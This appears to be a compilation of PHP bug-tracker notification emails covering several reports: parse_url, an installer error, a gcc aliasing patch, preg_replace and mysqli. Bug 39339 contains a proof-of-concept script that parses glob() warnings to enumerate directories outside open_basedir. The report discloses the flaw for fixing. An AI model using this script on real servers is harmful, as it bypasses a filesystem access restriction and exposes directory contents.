From: me at anton dot in dot ua Operating system: Windows Vista/Ubuntu PHP version: 5.2.10 PHP Bug Type: URL related Bug description: parse_url convert \r\n to _ _ Description: parse_url convert \r\n symbols to _ _. More: OK: $string = ftp://login:p...@domain;; array 'scheme' = string 'ftp' (length=3) 'host' = string 'domain' (length=6) 'user' = string 'login' (length=5) 'pass' = string 'pass' (length=4) BUG: $string =ftp://login:p...@domain\r\n;; array 'scheme' = string 'ftp' (length=3) 'host' = string 'domain__' (length=8) /* wtf? */ 'user' = string 'login' (length=5) 'pass' = string 'pass' (length=4) if i get strings from file i should use trim before use parse_url. i think it is bug and parse_url should use trim - OR - ignore \r\n at the end of line. Reproduce code: --- $string = ftp://login:p...@domain;; var_dump(parse_url($string)); $string = ftp://login:p...@domain\r\n;; var_dump(parse_url($string)); Expected result: array 'scheme' = string 'ftp' (length=3) 'host' = string 'domain' (length=6) 'user' = string 'login' (length=5) 'pass' = string 'pass' (length=4) Actual result: -- array 'scheme' = string 'ftp' (length=3) 'host' = string 'domain__' (length=8) /* wtf? */ 'user' = string 'login' (length=5) 'pass' = string 'pass' (length=4) -- Edit bug report at http://bugs.php.net/?id=49055edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=49055r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=49055r=trysnapshot53 Try a snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=49055r=trysnapshot60 Fixed in SVN: http://bugs.php.net/fix.php?id=49055r=fixed Fixed in SVN and need be documented: http://bugs.php.net/fix.php?id=49055r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=49055r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=49055r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=49055r=needscript Try newer version: http://bugs.php.net/fix.php?id=49055r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=49055r=support Expected behavior: http://bugs.php.net/fix.php?id=49055r=notwrong Not enough info: http://bugs.php.net/fix.php?id=49055r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=49055r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=49055r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=49055r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=49055r=dst IIS Stability: http://bugs.php.net/fix.php?id=49055r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=49055r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=49055r=float No Zend Extensions: http://bugs.php.net/fix.php?id=49055r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=49055r=mysqlcfg
#47111 [NEW]: Installation fails
From: bychkov dot anton at gmail dot com Operating system: Windows XP SP3 5.1.2600 PHP version: 5.2.8 PHP Bug Type: Windows Installer Bug description: Installation fails Description: Installation options: CGI on IIS. Got error: 1. Product: PHP 5.2.8 -- Error 1720. There is a problem with this Windows Installer package. A script required for this install to complete could not be run. Contact your support personnel or package vendor. Custom action configIIS4 script error -2146828275, Microsoft VBScript runtime error: Type mismatch: '[string: 5.1]' Line 179, Column 5 2. No files are copied to the installation folder. Expected result: Expected successfull installation. -- Edit bug report at http://bugs.php.net/?id=47111edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=47111r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=47111r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=47111r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=47111r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=47111r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=47111r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=47111r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=47111r=needscript Try newer version: http://bugs.php.net/fix.php?id=47111r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=47111r=support Expected behavior: http://bugs.php.net/fix.php?id=47111r=notwrong Not enough info: http://bugs.php.net/fix.php?id=47111r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=47111r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=47111r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=47111r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=47111r=dst IIS Stability: http://bugs.php.net/fix.php?id=47111r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=47111r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=47111r=float No Zend Extensions: http://bugs.php.net/fix.php?id=47111r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=47111r=mysqlcfg
#46311 [NEW]: Pointer aliasing issue results in miscompile on gcc4.4
From: anton at samba dot org Operating system: Linux/RHEL5.2/PowerPC64 PHP version: 5.2.6 PHP Bug Type: Compile Failure Bug description: Pointer aliasing issue results in miscompile on gcc4.4 Description: A recent checkout of gcc4.4 miscompiles php on PowerPC64. The following function reads from p via long * and stores to p via void * which violates aliasing rules: static inline void zend_ptr_stack_clear_multiple(TSRMLS_D) { void **p = EG(argument_stack).top_element-2; int delete_count = (int)(zend_uintptr_t) *p; EG(argument_stack).top -= (delete_count+2); while (--delete_count=0) { zval *q = *(zval **)(--p); *p = NULL; zval_ptr_dtor(q); } EG(argument_stack).top_element = p; } More details can be found at: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=37824 We can remove the (zval **) cast so that we read and write via void *p and fix the aliasing issue. I will attach a patch. -- Edit bug report at http://bugs.php.net/?id=46311edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46311r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46311r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46311r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46311r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=46311r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46311r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=46311r=needscript Try newer version:http://bugs.php.net/fix.php?id=46311r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46311r=support Expected behavior:http://bugs.php.net/fix.php?id=46311r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46311r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46311r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46311r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46311r=php4 Daylight Savings: http://bugs.php.net/fix.php?id=46311r=dst IIS Stability:http://bugs.php.net/fix.php?id=46311r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46311r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46311r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46311r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=46311r=mysqlcfg
#46311 [Com]: Pointer aliasing issue results in miscompile on gcc4.4
ID: 46311 Comment by: anton at samba dot org Reported By: anton at samba dot org Status: Open Bug Type: Compile Failure Operating System: Linux/RHEL5.2/PowerPC64 PHP Version: 5.2.6 New Comment: I can't work out how to attach things in this tool. Here is a copy and paste of it and a non whitespace damaged version can be found at: http://ozlabs.org/~anton/junkcode/php_fix_aliasing.patch Index: php-5.2.6/Zend/zend_execute.h === --- php-5.2.6.orig/Zend/zend_execute.h 2007-12-31 02:20:02.0 -0500 +++ php-5.2.6/Zend/zend_execute.h 2008-10-15 23:03:01.0 -0400 @@ -150,7 +150,7 @@ EG(argument_stack).top -= (delete_count+2); while (--delete_count=0) { - zval *q = *(zval **)(--p); + zval *q = *(--p); *p = NULL; zval_ptr_dtor(q); } Previous Comments: [2008-10-16 03:16:05] anton at samba dot org Description: A recent checkout of gcc4.4 miscompiles php on PowerPC64. The following function reads from p via long * and stores to p via void * which violates aliasing rules: static inline void zend_ptr_stack_clear_multiple(TSRMLS_D) { void **p = EG(argument_stack).top_element-2; int delete_count = (int)(zend_uintptr_t) *p; EG(argument_stack).top -= (delete_count+2); while (--delete_count=0) { zval *q = *(zval **)(--p); *p = NULL; zval_ptr_dtor(q); } EG(argument_stack).top_element = p; } More details can be found at: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=37824 We can remove the (zval **) cast so that we read and write via void *p and fix the aliasing issue. I will attach a patch. -- Edit this bug report at http://bugs.php.net/?id=46311edit=1
#46311 [Com]: Pointer aliasing issue results in miscompile on gcc4.4
ID: 46311 Comment by: anton at samba dot org Reported By: anton at samba dot org Status: Open Bug Type: Compile Failure Operating System: Linux/RHEL5.2/PowerPC64 PHP Version: 5.2.6 New Comment: To clarify... the Zend code reads via zval *, not long *. The cut down test case I submitted was simplified to use a long *. Previous Comments: [2008-10-16 03:20:35] anton at samba dot org I can't work out how to attach things in this tool. Here is a copy and paste of it and a non whitespace damaged version can be found at: http://ozlabs.org/~anton/junkcode/php_fix_aliasing.patch Index: php-5.2.6/Zend/zend_execute.h === --- php-5.2.6.orig/Zend/zend_execute.h 2007-12-31 02:20:02.0 -0500 +++ php-5.2.6/Zend/zend_execute.h 2008-10-15 23:03:01.0 -0400 @@ -150,7 +150,7 @@ EG(argument_stack).top -= (delete_count+2); while (--delete_count=0) { - zval *q = *(zval **)(--p); + zval *q = *(--p); *p = NULL; zval_ptr_dtor(q); } [2008-10-16 03:16:05] anton at samba dot org Description: A recent checkout of gcc4.4 miscompiles php on PowerPC64. The following function reads from p via long * and stores to p via void * which violates aliasing rules: static inline void zend_ptr_stack_clear_multiple(TSRMLS_D) { void **p = EG(argument_stack).top_element-2; int delete_count = (int)(zend_uintptr_t) *p; EG(argument_stack).top -= (delete_count+2); while (--delete_count=0) { zval *q = *(zval **)(--p); *p = NULL; zval_ptr_dtor(q); } EG(argument_stack).top_element = p; } More details can be found at: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=37824 We can remove the (zval **) cast so that we read and write via void *p and fix the aliasing issue. I will attach a patch. -- Edit this bug report at http://bugs.php.net/?id=46311edit=1
#39853 [NEW]: strtoupper(), strtolower() function can not work with preg_replace $1 vars
From: anton dot kirsanov at gmail dot com Operating system: Windows XP SP2 PHP version: 4.4.4 PHP Bug Type: Strings related Bug description: strtoupper(), strtolower() function can not work with preg_replace $1 vars Description: strtoupper(), strtolower() function does not change string(as virtual vars - like $1(\\1)) what be returned a preg_replace function. Reproduce code: --- ?php // 1 $s = A-B; echo preg_replace(/\-([a-z])/iU, strtolower($1), $s); echo \n; // 2 $s = a-b; echo preg_replace(/\-([a-z])/iU, strtoupper($1), $s); // 3 $s = B-B; echo preg_replace(/([a-z]-[a-z])/i, strtolower(A-$1-A), $s); ? Expected result: AB ab a-B-B-a Actual result: -- Ab aB abba -- Edit bug report at http://bugs.php.net/?id=39853edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39853r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39853r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39853r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39853r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39853r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39853r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39853r=needscript Try newer version:http://bugs.php.net/fix.php?id=39853r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39853r=support Expected behavior:http://bugs.php.net/fix.php?id=39853r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39853r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39853r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39853r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39853r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39853r=dst IIS Stability:http://bugs.php.net/fix.php?id=39853r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39853r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39853r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39853r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39853r=mysqlcfg
#39853 [Opn]: strtoupper(), strtolower() function can not work with preg_replace $1 vars
ID: 39853 User updated by: anton dot kirsanov at gmail dot com Reported By: anton dot kirsanov at gmail dot com Status: Open Bug Type: Strings related Operating System: Windows XP SP2 PHP Version: 4.4.4 New Comment: Sorry, am mix up a 'Expected result' and 'Actual result' :) Please read this quite the contrary - 'Expected result' is a 'Actual result'. Previous Comments: [2006-12-16 12:35:36] ara at lenta dot ru #1090;#1099; #1093;#1091;#1081; [2006-12-16 12:33:44] anton dot kirsanov at gmail dot com Description: strtoupper(), strtolower() function does not change string(as virtual vars - like $1(\\1)) what be returned a preg_replace function. Reproduce code: --- ?php // 1 $s = A-B; echo preg_replace(/\-([a-z])/iU, strtolower($1), $s); echo \n; // 2 $s = a-b; echo preg_replace(/\-([a-z])/iU, strtoupper($1), $s); // 3 $s = B-B; echo preg_replace(/([a-z]-[a-z])/i, strtolower(A-$1-A), $s); ? Expected result: AB ab a-B-B-a Actual result: -- Ab aB abba -- Edit this bug report at http://bugs.php.net/?id=39853edit=1
#39853 [Opn]: strtoupper(), strtolower() function can not work with preg_replace $1 vars
ID: 39853 User updated by: anton dot kirsanov at gmail dot com Reported By: anton dot kirsanov at gmail dot com Status: Open Bug Type: Strings related Operating System: Windows XP SP2 PHP Version: 4.4.4 New Comment: Hi:) funny... you will use /e modifier if you want parse the pattern as a php code. Say me, why a function str_repeat() really work in this situation: ?php $s = A-B; echo preg_replace(/\-([a-z])/iU, str_repeat($1, 10), $s); ? // -- // ACTUAL RESULT: // -- ABB Why? See that: ?php $s = A-B; echo preg_replace(/\-([a-z])/iU, strtolower(str_repeat($1, 10)), $s); ? // -- // ACTUAL RESULT: // -- ABB // Why that ? :) Previous Comments: [2006-12-16 18:09:15] judas dot iscariote at gmail dot com Why you think this is a bug ? you are looking for preg_replace_callback ... or if you are crazy, the preg_replace /e modifier. not a bug, read the manual ;-) [2006-12-16 12:40:44] ara at lenta dot ru Tu XYu. [2006-12-16 12:37:46] anton dot kirsanov at gmail dot com Sorry, am mix up a 'Expected result' and 'Actual result' :) Please read this quite the contrary - 'Expected result' is a 'Actual result'. [2006-12-16 12:35:36] ara at lenta dot ru #1090;#1099; #1093;#1091;#1081; [2006-12-16 12:33:44] anton dot kirsanov at gmail dot com Description: strtoupper(), strtolower() function does not change string(as virtual vars - like $1(\\1)) what be returned a preg_replace function. Reproduce code: --- ?php // 1 $s = A-B; echo preg_replace(/\-([a-z])/iU, strtolower($1), $s); echo \n; // 2 $s = a-b; echo preg_replace(/\-([a-z])/iU, strtoupper($1), $s); // 3 $s = B-B; echo preg_replace(/([a-z]-[a-z])/i, strtolower(A-$1-A), $s); ? Expected result: AB ab a-B-B-a Actual result: -- Ab aB abba -- Edit this bug report at http://bugs.php.net/?id=39853edit=1
#39339 [Bgs]: Bug in warning message when glob() function access to unallowed path.
ID: 39339 User updated by: anton dot kirsanov at gmail dot com Reported By: anton dot kirsanov at gmail dot com Status: Bogus Bug Type: Safe Mode/open_basedir Operating System: ALL PHP Version: 5.1.6 New Comment: sorry, this a bug. if i know a fullpath to files in unallowed directories, i`m must used a many others php bugs (some curl bug, zlib compress file read bug) for read unallowed files. this a design bug in security architecture. Previous Comments: [2006-11-03 19:40:56] [EMAIL PROTECTED] Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php Everytime PHP fails to open a file due to safe_mode/ open_basedir it returns an error saying cannot open so so due to safe_mode. You don't gain the ability to write to files and/or open them, so there is no security issue here. [2006-11-01 22:30:25] anton dot kirsanov at gmail dot com Description: When open_basedir is enabled, glob() function don`t show files in unallowed directories, however in warning message present file or directory name that access is denied. If you recursive parse a warning messages for extract pathes, you a get listing of unallowed directories (see POC code). I`m, tested this bug on PHP 5.1.6 and 4.4.4, everywhere the result is equal. Reproduce code: --- ?php // - // POC by Kirsanov Anton ( anton.kirsanov[at]gmail.com ) // // Description: // Bug in warning message for glob() function allow show listing unallowed directories when open_basedir is enabled. // // Risk: // Possible directory listing, when open_basedir is enabled. // Testing on PHP 4.4.4, 5.1.6. error_reporting(E_ALL); ini_set(display_errors, 0); ini_set(track_errors, 1); if(!ini_get('open_basedir')) die('open_basedir not present'); $chars = ._-1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ; $z = array(); get_c(/, $z); // show contents of root directory print_r($z); function get_c($path, $o) { global $chars; for($i=0; $i strlen($chars); $i++) { $p = $path . $chars[$i]; $r = glob($p . *); if(!$r $php_errormsg) { if((preg_match(/open\_basedir restriction in effect\. File\((.*)\) is/iU, $php_errormsg, $t) || preg_match(/is not allowed to access (.*) owned/iU, $php_errormsg, $t)) !$o[$t[1]]) { $o[$t[1]] = $t[2]; get_c($p, $o); } } } } ? Expected result: ?php glob(/*); ? Warning: glob(): open_basedir restriction in effect. is not allowed to access (/) owned ... Actual result: -- ?php glob(/*); ? Warning: glob(): open_basedir restriction in effect. is not allowed to access (/bin/) owned ... Warning message has been disclose path - /bin/ -- Edit this bug report at http://bugs.php.net/?id=39339edit=1
#39339 [NEW]: Bug in warning message when glob() function access to unallowed path.
From: anton dot kirsanov at gmail dot com Operating system: ALL PHP version: 5.1.6 PHP Bug Type: Safe Mode/open_basedir Bug description: Bug in warning message when glob() function access to unallowed path. Description: When open_basedir is enabled, glob() function don`t show files in unallowed directories, however in warning message present file or directory name that access is denied. If you recursive parse a warning messages for extract pathes, you a get listing of unallowed directories (see POC code). I`m, tested this bug on PHP 5.1.6 and 4.4.4, everywhere the result is equal. Reproduce code: --- ?php // - // POC by Kirsanov Anton ( anton.kirsanov[at]gmail.com ) // // Description: // Bug in warning message for glob() function allow show listing unallowed directories when open_basedir is enabled. // // Risk: // Possible directory listing, when open_basedir is enabled. // Testing on PHP 4.4.4, 5.1.6. error_reporting(E_ALL); ini_set(display_errors, 0); ini_set(track_errors, 1); if(!ini_get('open_basedir')) die('open_basedir not present'); $chars = ._-1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ; $z = array(); get_c(/, $z); // show contents of root directory print_r($z); function get_c($path, $o) { global $chars; for($i=0; $i strlen($chars); $i++) { $p = $path . $chars[$i]; $r = glob($p . *); if(!$r $php_errormsg) { if((preg_match(/open\_basedir restriction in effect\. File\((.*)\) is/iU, $php_errormsg, $t) || preg_match(/is not allowed to access (.*) owned/iU, $php_errormsg, $t)) !$o[$t[1]]) { $o[$t[1]] = $t[2]; get_c($p, $o); } } } } ? Expected result: ?php glob(/*); ? Warning: glob(): open_basedir restriction in effect. is not allowed to access (/) owned ... Actual result: -- ?php glob(/*); ? Warning: glob(): open_basedir restriction in effect. is not allowed to access (/bin/) owned ... Warning message has been disclose path - /bin/ -- Edit bug report at http://bugs.php.net/?id=39339edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39339r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39339r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39339r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39339r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39339r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39339r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39339r=needscript Try newer version:http://bugs.php.net/fix.php?id=39339r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39339r=support Expected behavior:http://bugs.php.net/fix.php?id=39339r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39339r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39339r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39339r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39339r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39339r=dst IIS Stability:http://bugs.php.net/fix.php?id=39339r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39339r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39339r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39339r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39339r=mysqlcfg
#38231 [Bgs-Opn]: mysqli_stmt_bind_param incorrect values
ID: 38231 User updated by: anton at ht-systems dot ru Reported By: anton at ht-systems dot ru -Status: Bogus +Status: Open Bug Type: MySQLi related Operating System: Linux PHP Version: 5.1.4 Assigned To: georg New Comment: Problem not solved, Georg Richter nor response for me. Previous Comments: [2006-09-18 14:49:22] anton at ht-systems dot ru Problem not solved, Georg Richter nor response for me. [2006-08-29 21:28:45] [EMAIL PROTECTED] Please try newer MySQL version and if the problem persists - please report it to bugs.mysql.com, since it looks like MySQL client library issue. [2006-07-27 22:24:18] judas dot iscariote at gmail dot com works perfectly fine here PHP 5_2 64 bit linux using mysql client version 5.0.22. [2006-07-27 11:02:46] anton at ht-systems dot ru Database on remote server on 64bit platform. If to use the remote database on 32 bit platform that all works normally. [2006-07-27 10:42:28] [EMAIL PROTECTED] The database itself is on the same 64bit server or it's a remote DB? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/38231 -- Edit this bug report at http://bugs.php.net/?id=38231edit=1
#38231 [Bgs]: mysqli_stmt_bind_param incorrect values
ID: 38231 User updated by: anton at ht-systems dot ru Reported By: anton at ht-systems dot ru Status: Bogus Bug Type: MySQLi related Operating System: Linux PHP Version: 5.1.4 Assigned To: georg New Comment: Problem not solved, Georg Richter nor response for me. Previous Comments: [2006-08-29 21:28:45] [EMAIL PROTECTED] Please try newer MySQL version and if the problem persists - please report it to bugs.mysql.com, since it looks like MySQL client library issue. [2006-07-27 22:24:18] judas dot iscariote at gmail dot com works perfectly fine here PHP 5_2 64 bit linux using mysql client version 5.0.22. [2006-07-27 11:02:46] anton at ht-systems dot ru Database on remote server on 64bit platform. If to use the remote database on 32 bit platform that all works normally. [2006-07-27 10:42:28] [EMAIL PROTECTED] The database itself is on the same 64bit server or it's a remote DB? [2006-07-27 10:35:57] anton at ht-systems dot ru Has checked up with php5.2-200607270830, the problem has remained. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/38231 -- Edit this bug report at http://bugs.php.net/?id=38231edit=1
#38231 [NEW]: mysqli_stmt_bind_param incorrect values
From: anton at ht-systems dot ru Operating system: Linux PHP version: 5.1.4 PHP Bug Type: MySQLi related Bug description: mysqli_stmt_bind_param incorrect values Description: web server placed on 32bit linux server with php 5.1.4 and mysql 4.1.18 client. If i using database on 32bit linux server all work correctly, but if using 64bit lunix server after execute statement in database placed incorrect values. in database i see: instead of 19 I see 196864 instead of R I see R#1102;#1026;def??#1102;#1026;#1102;b7_opt#1026;µa «*?µa «*#1106;µa «*?µa Reproduce code: --- $mys = new mysqli($mysql_['host'], $mysql_['username'], $mysql_['password'], $mysql_['database']); $qu_insert = INSERT INTO assort (ind, articul) VALUES (?, ?); $stmt = $mys-prepare($qu_insert); $ind = 19; $articul = R; $stmt-bind_param(is, $ind, $articul); $stmt-execute(); $stmt-close(); -- Edit bug report at http://bugs.php.net/?id=38231edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=38231r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=38231r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=38231r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=38231r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=38231r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=38231r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=38231r=needscript Try newer version:http://bugs.php.net/fix.php?id=38231r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=38231r=support Expected behavior:http://bugs.php.net/fix.php?id=38231r=notwrong Not enough info: http://bugs.php.net/fix.php?id=38231r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=38231r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=38231r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=38231r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=38231r=dst IIS Stability:http://bugs.php.net/fix.php?id=38231r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=38231r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=38231r=float No Zend Extensions: http://bugs.php.net/fix.php?id=38231r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=38231r=mysqlcfg
#38231 [Fbk-Opn]: mysqli_stmt_bind_param incorrect values
ID: 38231 User updated by: anton at ht-systems dot ru Reported By: anton at ht-systems dot ru -Status: Feedback +Status: Open Bug Type: MySQLi related Operating System: Linux PHP Version: 5.1.4 New Comment: I upgrade mysql server client to 4.1.20 the same problem. Also it would not be desirable to pass on 5.2 yet, it is stable? Previous Comments: [2006-07-27 08:41:19] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://snaps.php.net/win32/php5.2-win32-latest.zip Not reproducible here. Both MySQL server client are 4.1.18. [2006-07-27 08:21:20] anton at ht-systems dot ru Description: web server placed on 32bit linux server with php 5.1.4 and mysql 4.1.18 client. If i using database on 32bit linux server all work correctly, but if using 64bit lunix server after execute statement in database placed incorrect values. in database i see: instead of 19 I see 196864 instead of R I see R#1102;#1026;def??#1102;#1026;#1102;b7_opt#1026;µa «*?µa «*#1106;µa «*?µa Reproduce code: --- $mys = new mysqli($mysql_['host'], $mysql_['username'], $mysql_['password'], $mysql_['database']); $qu_insert = INSERT INTO assort (ind, articul) VALUES (?, ?); $stmt = $mys-prepare($qu_insert); $ind = 19; $articul = R; $stmt-bind_param(is, $ind, $articul); $stmt-execute(); $stmt-close(); -- Edit this bug report at http://bugs.php.net/?id=38231edit=1
#38231 [Fbk-Opn]: mysqli_stmt_bind_param incorrect values
ID: 38231 User updated by: anton at ht-systems dot ru Reported By: anton at ht-systems dot ru -Status: Feedback +Status: Open Bug Type: MySQLi related Operating System: Linux PHP Version: 5.1.4 New Comment: Has checked up with php5.2-200607270830, the problem has remained. Previous Comments: [2006-07-27 10:27:25] [EMAIL PROTECTED] You don't need to install it, you just need to build and test it, that doesn't required any actions regarding the existing PHP installation. [2006-07-27 09:23:38] anton at ht-systems dot ru I upgrade mysql server client to 4.1.20 the same problem. Also it would not be desirable to pass on 5.2 yet, it is stable? [2006-07-27 08:41:19] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://snaps.php.net/win32/php5.2-win32-latest.zip Not reproducible here. Both MySQL server client are 4.1.18. [2006-07-27 08:21:20] anton at ht-systems dot ru Description: web server placed on 32bit linux server with php 5.1.4 and mysql 4.1.18 client. If i using database on 32bit linux server all work correctly, but if using 64bit lunix server after execute statement in database placed incorrect values. in database i see: instead of 19 I see 196864 instead of R I see R#1102;#1026;def??#1102;#1026;#1102;b7_opt#1026;µa «*?µa «*#1106;µa «*?µa Reproduce code: --- $mys = new mysqli($mysql_['host'], $mysql_['username'], $mysql_['password'], $mysql_['database']); $qu_insert = INSERT INTO assort (ind, articul) VALUES (?, ?); $stmt = $mys-prepare($qu_insert); $ind = 19; $articul = R; $stmt-bind_param(is, $ind, $articul); $stmt-execute(); $stmt-close(); -- Edit this bug report at http://bugs.php.net/?id=38231edit=1
#38231 [Fbk-Opn]: mysqli_stmt_bind_param incorrect values
ID: 38231 User updated by: anton at ht-systems dot ru Reported By: anton at ht-systems dot ru -Status: Feedback +Status: Open Bug Type: MySQLi related Operating System: Linux PHP Version: 5.1.4 New Comment: Database on remote server on 64bit platform. If to use the remote database on 32 bit platform that all works normally. Previous Comments: [2006-07-27 10:42:28] [EMAIL PROTECTED] The database itself is on the same 64bit server or it's a remote DB? [2006-07-27 10:35:57] anton at ht-systems dot ru Has checked up with php5.2-200607270830, the problem has remained. [2006-07-27 10:27:25] [EMAIL PROTECTED] You don't need to install it, you just need to build and test it, that doesn't required any actions regarding the existing PHP installation. [2006-07-27 09:23:38] anton at ht-systems dot ru I upgrade mysql server client to 4.1.20 the same problem. Also it would not be desirable to pass on 5.2 yet, it is stable? [2006-07-27 08:41:19] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://snaps.php.net/win32/php5.2-win32-latest.zip Not reproducible here. Both MySQL server client are 4.1.18. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/38231 -- Edit this bug report at http://bugs.php.net/?id=38231edit=1
#37916 [NEW]: Crash when downloading url via readfile or file_ge_contents
